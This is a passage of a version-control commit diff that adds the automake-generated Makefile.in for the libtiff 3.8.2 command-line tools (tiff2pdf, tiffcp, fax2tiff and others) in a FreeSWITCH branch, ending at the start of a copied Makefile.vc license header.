+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+LIBPORT = $(top_builddir)/port/libport.la
+LIBTIFF = $(top_builddir)/libtiff/libtiff.la
+EXTRA_DIST = Makefile.vc
+@HAVE_RPATH_TRUE@AM_LDFLAGS = $(LIBDIR)
+bmp2tiff_SOURCES = bmp2tiff.c
+bmp2tiff_LDADD = $(LIBTIFF) $(LIBPORT)
+fax2ps_SOURCES = fax2ps.c
+fax2ps_LDADD = $(LIBTIFF) $(LIBPORT)
+fax2tiff_SOURCES = fax2tiff.c
+fax2tiff_LDADD = $(LIBTIFF) $(LIBPORT)
+gif2tiff_SOURCES = gif2tiff.c
+gif2tiff_LDADD = $(LIBTIFF) $(LIBPORT)
+pal2rgb_SOURCES = pal2rgb.c
+pal2rgb_LDADD = $(LIBTIFF) $(LIBPORT)
+ppm2tiff_SOURCES = ppm2tiff.c
+ppm2tiff_LDADD = $(LIBTIFF) $(LIBPORT)
+ras2tiff_SOURCES = ras2tiff.c rasterfile.h
+ras2tiff_LDADD = $(LIBTIFF) $(LIBPORT)
+raw2tiff_SOURCES = raw2tiff.c
+raw2tiff_LDADD = $(LIBTIFF) $(LIBPORT)
+rgb2ycbcr_SOURCES = rgb2ycbcr.c
+rgb2ycbcr_LDADD = $(LIBTIFF) $(LIBPORT)
+thumbnail_SOURCES = thumbnail.c
+thumbnail_LDADD = $(LIBTIFF) $(LIBPORT)
+tiff2bw_SOURCES = tiff2bw.c
+tiff2bw_LDADD = $(LIBTIFF) $(LIBPORT)
+tiff2pdf_SOURCES = tiff2pdf.c
+tiff2pdf_LDADD = $(LIBTIFF) $(LIBPORT)
+tiff2ps_SOURCES = tiff2ps.c
+tiff2ps_LDADD = $(LIBTIFF) $(LIBPORT)
+tiff2rgba_SOURCES = tiff2rgba.c
+tiff2rgba_LDADD = $(LIBTIFF) $(LIBPORT)
+tiffcmp_SOURCES = tiffcmp.c
+tiffcmp_LDADD = $(LIBTIFF) $(LIBPORT)
+tiffcp_SOURCES = tiffcp.c
+tiffcp_LDADD = $(LIBTIFF) $(LIBPORT)
+tiffdither_SOURCES = tiffdither.c
+tiffdither_LDADD = $(LIBTIFF) $(LIBPORT)
+tiffdump_SOURCES = tiffdump.c
+tiffdump_LDADD = $(LIBTIFF) $(LIBPORT)
+tiffinfo_SOURCES = tiffinfo.c
+tiffinfo_LDADD = $(LIBTIFF) $(LIBPORT)
+tiffmedian_SOURCES = tiffmedian.c
+tiffmedian_LDADD = $(LIBTIFF) $(LIBPORT)
+tiffset_SOURCES = tiffset.c
+tiffset_LDADD = $(LIBTIFF) $(LIBPORT)
+tiffsplit_SOURCES = tiffsplit.c
+tiffsplit_LDADD = $(LIBTIFF) $(LIBPORT)
+tiffgt_SOURCES = tiffgt.c
+tiffgt_CFLAGS = $(CFLAGS) $(GLUT_CFLAGS) $(AM_CFLAGS)
+tiffgt_LDADD = $(LIBTIFF) $(LIBPORT) $(X_LIBS) $(GLUT_LIBS)
+INCLUDES = -I$(top_srcdir)/libtiff
+all: all-am
+
+.SUFFIXES:
+.SUFFIXES: .c .lo .o .obj
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  tools/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  tools/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+install-binPROGRAMS: $(bin_PROGRAMS)
+	@$(NORMAL_INSTALL)
+	test -z "$(bindir)" || $(mkdir_p) "$(DESTDIR)$(bindir)"
+	@list='$(bin_PROGRAMS)'; for p in $$list; do \
+	  p1=`echo $$p|sed 's/$(EXEEXT)$$//'`; \
+	  if test -f $$p \
+	     || test -f $$p1 \
+	  ; then \
+	    f=`echo "$$p1" | sed 's,^.*/,,;$(transform);s/$$/$(EXEEXT)/'`; \
+	   echo " $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=install $(binPROGRAMS_INSTALL) '$$p' '$(DESTDIR)$(bindir)/$$f'"; \
+	   $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=install $(binPROGRAMS_INSTALL) "$$p" "$(DESTDIR)$(bindir)/$$f" || exit 1; \
+	  else :; fi; \
+	done
+
+uninstall-binPROGRAMS:
+	@$(NORMAL_UNINSTALL)
+	@list='$(bin_PROGRAMS)'; for p in $$list; do \
+	  f=`echo "$$p" | sed 's,^.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/'`; \
+	  echo " rm -f '$(DESTDIR)$(bindir)/$$f'"; \
+	  rm -f "$(DESTDIR)$(bindir)/$$f"; \
+	done
+
+clean-binPROGRAMS:
+	@list='$(bin_PROGRAMS)'; for p in $$list; do \
+	  f=`echo $$p|sed 's/$(EXEEXT)$$//'`; \
+	  echo " rm -f $$p $$f"; \
+	  rm -f $$p $$f ; \
+	done
+bmp2tiff$(EXEEXT): $(bmp2tiff_OBJECTS) $(bmp2tiff_DEPENDENCIES) 
+	@rm -f bmp2tiff$(EXEEXT)
+	$(LINK) $(bmp2tiff_LDFLAGS) $(bmp2tiff_OBJECTS) $(bmp2tiff_LDADD) $(LIBS)
+fax2ps$(EXEEXT): $(fax2ps_OBJECTS) $(fax2ps_DEPENDENCIES) 
+	@rm -f fax2ps$(EXEEXT)
+	$(LINK) $(fax2ps_LDFLAGS) $(fax2ps_OBJECTS) $(fax2ps_LDADD) $(LIBS)
+fax2tiff$(EXEEXT): $(fax2tiff_OBJECTS) $(fax2tiff_DEPENDENCIES) 
+	@rm -f fax2tiff$(EXEEXT)
+	$(LINK) $(fax2tiff_LDFLAGS) $(fax2tiff_OBJECTS) $(fax2tiff_LDADD) $(LIBS)
+gif2tiff$(EXEEXT): $(gif2tiff_OBJECTS) $(gif2tiff_DEPENDENCIES) 
+	@rm -f gif2tiff$(EXEEXT)
+	$(LINK) $(gif2tiff_LDFLAGS) $(gif2tiff_OBJECTS) $(gif2tiff_LDADD) $(LIBS)
+pal2rgb$(EXEEXT): $(pal2rgb_OBJECTS) $(pal2rgb_DEPENDENCIES) 
+	@rm -f pal2rgb$(EXEEXT)
+	$(LINK) $(pal2rgb_LDFLAGS) $(pal2rgb_OBJECTS) $(pal2rgb_LDADD) $(LIBS)
+ppm2tiff$(EXEEXT): $(ppm2tiff_OBJECTS) $(ppm2tiff_DEPENDENCIES) 
+	@rm -f ppm2tiff$(EXEEXT)
+	$(LINK) $(ppm2tiff_LDFLAGS) $(ppm2tiff_OBJECTS) $(ppm2tiff_LDADD) $(LIBS)
+ras2tiff$(EXEEXT): $(ras2tiff_OBJECTS) $(ras2tiff_DEPENDENCIES) 
+	@rm -f ras2tiff$(EXEEXT)
+	$(LINK) $(ras2tiff_LDFLAGS) $(ras2tiff_OBJECTS) $(ras2tiff_LDADD) $(LIBS)
+raw2tiff$(EXEEXT): $(raw2tiff_OBJECTS) $(raw2tiff_DEPENDENCIES) 
+	@rm -f raw2tiff$(EXEEXT)
+	$(LINK) $(raw2tiff_LDFLAGS) $(raw2tiff_OBJECTS) $(raw2tiff_LDADD) $(LIBS)
+rgb2ycbcr$(EXEEXT): $(rgb2ycbcr_OBJECTS) $(rgb2ycbcr_DEPENDENCIES) 
+	@rm -f rgb2ycbcr$(EXEEXT)
+	$(LINK) $(rgb2ycbcr_LDFLAGS) $(rgb2ycbcr_OBJECTS) $(rgb2ycbcr_LDADD) $(LIBS)
+sgi2tiff$(EXEEXT): $(sgi2tiff_OBJECTS) $(sgi2tiff_DEPENDENCIES) 
+	@rm -f sgi2tiff$(EXEEXT)
+	$(LINK) $(sgi2tiff_LDFLAGS) $(sgi2tiff_OBJECTS) $(sgi2tiff_LDADD) $(LIBS)
+sgisv$(EXEEXT): $(sgisv_OBJECTS) $(sgisv_DEPENDENCIES) 
+	@rm -f sgisv$(EXEEXT)
+	$(LINK) $(sgisv_LDFLAGS) $(sgisv_OBJECTS) $(sgisv_LDADD) $(LIBS)
+thumbnail$(EXEEXT): $(thumbnail_OBJECTS) $(thumbnail_DEPENDENCIES) 
+	@rm -f thumbnail$(EXEEXT)
+	$(LINK) $(thumbnail_LDFLAGS) $(thumbnail_OBJECTS) $(thumbnail_LDADD) $(LIBS)
+tiff2bw$(EXEEXT): $(tiff2bw_OBJECTS) $(tiff2bw_DEPENDENCIES) 
+	@rm -f tiff2bw$(EXEEXT)
+	$(LINK) $(tiff2bw_LDFLAGS) $(tiff2bw_OBJECTS) $(tiff2bw_LDADD) $(LIBS)
+tiff2pdf$(EXEEXT): $(tiff2pdf_OBJECTS) $(tiff2pdf_DEPENDENCIES) 
+	@rm -f tiff2pdf$(EXEEXT)
+	$(LINK) $(tiff2pdf_LDFLAGS) $(tiff2pdf_OBJECTS) $(tiff2pdf_LDADD) $(LIBS)
+tiff2ps$(EXEEXT): $(tiff2ps_OBJECTS) $(tiff2ps_DEPENDENCIES) 
+	@rm -f tiff2ps$(EXEEXT)
+	$(LINK) $(tiff2ps_LDFLAGS) $(tiff2ps_OBJECTS) $(tiff2ps_LDADD) $(LIBS)
+tiff2rgba$(EXEEXT): $(tiff2rgba_OBJECTS) $(tiff2rgba_DEPENDENCIES) 
+	@rm -f tiff2rgba$(EXEEXT)
+	$(LINK) $(tiff2rgba_LDFLAGS) $(tiff2rgba_OBJECTS) $(tiff2rgba_LDADD) $(LIBS)
+tiffcmp$(EXEEXT): $(tiffcmp_OBJECTS) $(tiffcmp_DEPENDENCIES) 
+	@rm -f tiffcmp$(EXEEXT)
+	$(LINK) $(tiffcmp_LDFLAGS) $(tiffcmp_OBJECTS) $(tiffcmp_LDADD) $(LIBS)
+tiffcp$(EXEEXT): $(tiffcp_OBJECTS) $(tiffcp_DEPENDENCIES) 
+	@rm -f tiffcp$(EXEEXT)
+	$(LINK) $(tiffcp_LDFLAGS) $(tiffcp_OBJECTS) $(tiffcp_LDADD) $(LIBS)
+tiffdither$(EXEEXT): $(tiffdither_OBJECTS) $(tiffdither_DEPENDENCIES) 
+	@rm -f tiffdither$(EXEEXT)
+	$(LINK) $(tiffdither_LDFLAGS) $(tiffdither_OBJECTS) $(tiffdither_LDADD) $(LIBS)
+tiffdump$(EXEEXT): $(tiffdump_OBJECTS) $(tiffdump_DEPENDENCIES) 
+	@rm -f tiffdump$(EXEEXT)
+	$(LINK) $(tiffdump_LDFLAGS) $(tiffdump_OBJECTS) $(tiffdump_LDADD) $(LIBS)
+tiffgt$(EXEEXT): $(tiffgt_OBJECTS) $(tiffgt_DEPENDENCIES) 
+	@rm -f tiffgt$(EXEEXT)
+	$(LINK) $(tiffgt_LDFLAGS) $(tiffgt_OBJECTS) $(tiffgt_LDADD) $(LIBS)
+tiffinfo$(EXEEXT): $(tiffinfo_OBJECTS) $(tiffinfo_DEPENDENCIES) 
+	@rm -f tiffinfo$(EXEEXT)
+	$(LINK) $(tiffinfo_LDFLAGS) $(tiffinfo_OBJECTS) $(tiffinfo_LDADD) $(LIBS)
+tiffmedian$(EXEEXT): $(tiffmedian_OBJECTS) $(tiffmedian_DEPENDENCIES) 
+	@rm -f tiffmedian$(EXEEXT)
+	$(LINK) $(tiffmedian_LDFLAGS) $(tiffmedian_OBJECTS) $(tiffmedian_LDADD) $(LIBS)
+tiffset$(EXEEXT): $(tiffset_OBJECTS) $(tiffset_DEPENDENCIES) 
+	@rm -f tiffset$(EXEEXT)
+	$(LINK) $(tiffset_LDFLAGS) $(tiffset_OBJECTS) $(tiffset_LDADD) $(LIBS)
+tiffsplit$(EXEEXT): $(tiffsplit_OBJECTS) $(tiffsplit_DEPENDENCIES) 
+	@rm -f tiffsplit$(EXEEXT)
+	$(LINK) $(tiffsplit_LDFLAGS) $(tiffsplit_OBJECTS) $(tiffsplit_LDADD) $(LIBS)
+ycbcr$(EXEEXT): $(ycbcr_OBJECTS) $(ycbcr_DEPENDENCIES) 
+	@rm -f ycbcr$(EXEEXT)
+	$(LINK) $(ycbcr_LDFLAGS) $(ycbcr_OBJECTS) $(ycbcr_LDADD) $(LIBS)
+
+mostlyclean-compile:
+	-rm -f *.$(OBJEXT)
+
+distclean-compile:
+	-rm -f *.tab.c
+
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/bmp2tiff.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/fax2ps.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/fax2tiff.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gif2tiff.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/pal2rgb.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/ppm2tiff.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/ras2tiff.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/raw2tiff.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/rgb2ycbcr.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/sgi2tiff.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/sgisv.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/thumbnail.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiff2bw.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiff2pdf.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiff2ps.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiff2rgba.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiffcmp.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiffcp.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiffdither.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiffdump.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiffgt-tiffgt.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiffinfo.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiffmedian.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiffset.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tiffsplit.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/ycbcr.Po@am__quote@
+
+.c.o:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c $<
+
+.c.obj:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c `$(CYGPATH_W) '$<'`
+
+.c.lo:
+@am__fastdepCC_TRUE@	if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(LTCOMPILE) -c -o $@ $<
+
+tiffgt-tiffgt.o: tiffgt.c
+@am__fastdepCC_TRUE@	if $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(tiffgt_CFLAGS) $(CFLAGS) -MT tiffgt-tiffgt.o -MD -MP -MF "$(DEPDIR)/tiffgt-tiffgt.Tpo" -c -o tiffgt-tiffgt.o `test -f 'tiffgt.c' || echo '$(srcdir)/'`tiffgt.c; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/tiffgt-tiffgt.Tpo" "$(DEPDIR)/tiffgt-tiffgt.Po"; else rm -f "$(DEPDIR)/tiffgt-tiffgt.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='tiffgt.c' object='tiffgt-tiffgt.o' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(tiffgt_CFLAGS) $(CFLAGS) -c -o tiffgt-tiffgt.o `test -f 'tiffgt.c' || echo '$(srcdir)/'`tiffgt.c
+
+tiffgt-tiffgt.obj: tiffgt.c
+@am__fastdepCC_TRUE@	if $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(tiffgt_CFLAGS) $(CFLAGS) -MT tiffgt-tiffgt.obj -MD -MP -MF "$(DEPDIR)/tiffgt-tiffgt.Tpo" -c -o tiffgt-tiffgt.obj `if test -f 'tiffgt.c'; then $(CYGPATH_W) 'tiffgt.c'; else $(CYGPATH_W) '$(srcdir)/tiffgt.c'; fi`; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/tiffgt-tiffgt.Tpo" "$(DEPDIR)/tiffgt-tiffgt.Po"; else rm -f "$(DEPDIR)/tiffgt-tiffgt.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='tiffgt.c' object='tiffgt-tiffgt.obj' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(tiffgt_CFLAGS) $(CFLAGS) -c -o tiffgt-tiffgt.obj `if test -f 'tiffgt.c'; then $(CYGPATH_W) 'tiffgt.c'; else $(CYGPATH_W) '$(srcdir)/tiffgt.c'; fi`
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+	list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	mkid -fID $$unique
+tags: TAGS
+
+TAGS:  $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
+	  test -n "$$unique" || unique=$$empty_fix; \
+	  $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+	    $$tags $$unique; \
+	fi
+ctags: CTAGS
+CTAGS:  $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	test -z "$(CTAGS_ARGS)$$tags$$unique" \
+	  || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
+	     $$tags $$unique
+
+GTAGS:
+	here=`$(am__cd) $(top_builddir) && pwd` \
+	  && cd $(top_srcdir) \
+	  && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+	-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile $(PROGRAMS)
+installdirs:
+	for dir in "$(DESTDIR)$(bindir)"; do \
+	  test -z "$$dir" || $(mkdir_p) "$$dir"; \
+	done
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-binPROGRAMS clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -rf ./$(DEPDIR)
+	-rm -f Makefile
+distclean-am: clean-am distclean-compile distclean-generic \
+	distclean-libtool distclean-tags
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am: install-binPROGRAMS
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -rf ./$(DEPDIR)
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-compile mostlyclean-generic \
+	mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-binPROGRAMS uninstall-info-am
+
+.PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS \
+	clean-generic clean-libtool ctags distclean distclean-compile \
+	distclean-generic distclean-libtool distclean-tags distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-binPROGRAMS install-data install-data-am install-exec \
+	install-exec-am install-info install-info-am install-man \
+	install-strip installcheck installcheck-am installdirs \
+	maintainer-clean maintainer-clean-generic mostlyclean \
+	mostlyclean-compile mostlyclean-generic mostlyclean-libtool \
+	pdf pdf-am ps ps-am tags uninstall uninstall-am \
+	uninstall-binPROGRAMS uninstall-info-am
+
+
+echo:
+	(echo $(CFLAGS))
+	(echo $(tiffgt_CFLAGS))
+	(echo $(GL_CFLAGS))
+	(echo $(GLU_CFLAGS))
+	(echo $(GLUT_CFLAGS))
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/Makefile.vc

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/Makefile.vc (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/Makefile.vc) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/Makefile.vc	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/Makefile.vc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+# $Id: Makefile.vc,v 1.11 2006/03/23 14:54:02 dron Exp $
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
